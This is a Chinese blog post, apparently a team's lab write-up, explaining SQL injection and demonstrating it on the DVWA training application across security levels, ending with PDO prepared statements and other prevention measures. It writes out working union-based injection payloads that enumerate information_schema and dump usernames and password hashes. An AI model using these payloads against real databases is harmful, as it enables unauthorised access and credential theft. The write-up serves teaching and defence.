sql注入分享
Posted 广软NSDA安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入分享相关的知识,希望对你有一定的参考价值。
SQL注入漏洞原理
SQL注入是在后台使用原生SQL语句的时,在信任用户的前提下用户输入了恶意SQL导致数据库数据泄露或者篡改。 SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句为注释,故后续的文本将被忽略,不被编译与执行。 |
SQL注入的过程
判断是否存在注入,注入是字符型还是数字型;
猜解SQL查询语句中的字段数;
确定显示位置;
获取当前数据库;获取数据库中表;
获取表中的字段名;
下载数据;
sql注入中常用的函数与语法
Group_concat():将select的查询结果全部显示出来,占一个显示位
select version():查询mysql版本
select user():查询数据库用户名
select database():查询数据库名
select @@datadir():查询数据库的绝对路径
select @@version_compile_os:查询操作系统版本
select current_user():查询当前用户
Order by: 找列的数量
Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)
limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)
0x02 SQL注入
实验环境
测试的网站为dvwa,网站源码:https://github.com/digininja/DVWA
(2) 测试机:Windows10物理机(开启代理,代理服务器为burpsuite)
实验过程
安全级别:Low
(1)设置安全级别
(2)查看源码
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
(3)源码分析
根据源码可以看出,low级别的代码没有对参数id进行任何的检查和过滤,存在sql注入而且还是字符型sql注入。
(4)实验操作
1> 判断是否存在注入,注入是字符型还是数字型;
输入1,查询成功;
存在字符型sql注入
2> 猜解SQL查询语句中的字段数;
在输入框输入1' order by id# id为整数,从1开始增加
根据源码,user_id='1' order by 1#' '把user_id闭合,相当于多执行了一条order by指令,#的作用是把后面的代码注销掉,若#被过滤了,也可以使用--+。
在输入框中输入1' order by 3#时,返回错误:说明该表中的字段数为2,有两列数据;
3> 确定显示位置;
当确定字段数后,接下来使用union select联合查询继续获取数据;
4> 获取当前数据库名;
输入-1' union select version(),database()#
可以查询到数据库的版本5.5.53,数据库名dvwa;
5> 获取数据库中的表;
对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;
输入 1' union select 1,group_concat(table_name)
from information_schema.tables where table_schema=database()#
可以看出,DVWA数据库中一共有两个表:guestbook,users;
6> 获取表中的字段名;
输入:
1' union select 1,group_concat(column_name)
from information_schema.columns where table_name='users'#
可以看出,users表中一共有8个字段:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login;
7> 获取数据;
输入 1' union select user,password from users#
可以看出,已经获取到用户名和加密的密码;
可以通过MD5解密工具,判断出密码;
安全级别:Medium
查看源码;
源码分析
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义;
同时设置了下拉选择表单,控制用户的输入;
可以简单看出,用户只能选择1-5,存在数字型SQL注入;
实验过程
除了get型sql注入方式,还有post型sql注入方式,需要借助到burpsuite。
借助Burp Suite工具对抓取的数据包进行输入:
导入Repeater
1> 判断是否存在注入,注入是字符型还是数字型;
2> 猜解SQL查询语句中的字段数;
字段数为2,有两列数据;
3> 确定显示位置;
4> 获取当前数据库名;
输入1 union select version(),database()#
可以查询到数据库的版本5.5.53,数据库名dvwa;
5> 获取数据库中的表;
对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;
输入:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
可以看出,DVWA数据库中一共有两个表:guestbook,users;
6> 获取表中的字段名;
输入 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
因为table_name='users'中带有单引号,会进行转义,所以我们需要将users进行编码;
可以看出,users表中一共有8个字段:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login;
7> 获取数据;
输入 1 union select user,password from users#
可以看出,已经获取到用户名和加密的密码;
可以通过解密工具,判断出密码;
安全级别:High
查看源码
源码分析
High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;
因此和low级别是一样的注入流程。
安全级别:Impossible
查看源码
MySQL pdo预处理能防止sql注入的原因:
1、先看预处理的语法
$pdo->prepare('select * from biao1 where id=:id');
$pdo->execute([':id'=>4]);
2、语句一,服务器发送一条sql给mysql服务器,mysql服务器会解析这条sql。
语句二,服务器发送一条sql给mysql服务器,mysql服务器不会解析这条sql,只会把execute的参数当做纯参数赋值给语句一。哪怕参数中有sql命令也不会被执行,从而实现防治sql注入。
预防方案
sql注入的本质上还是对用户输入数据的绝对信任,当我们对用户输入的数据绝对不信任的时候,就可以预防sql注入
输入数据长度的限制
关键字过滤:对每个参数的传递进行检测,对其进行sql关键字过滤如(select insert where)
对参数携带的特殊字符进行转义和过滤:
预编译防注入
增加token值,采用PDO来构造函数
以上是关于sql注入分享的主要内容,如果未能解决你的问题,请参考以下文章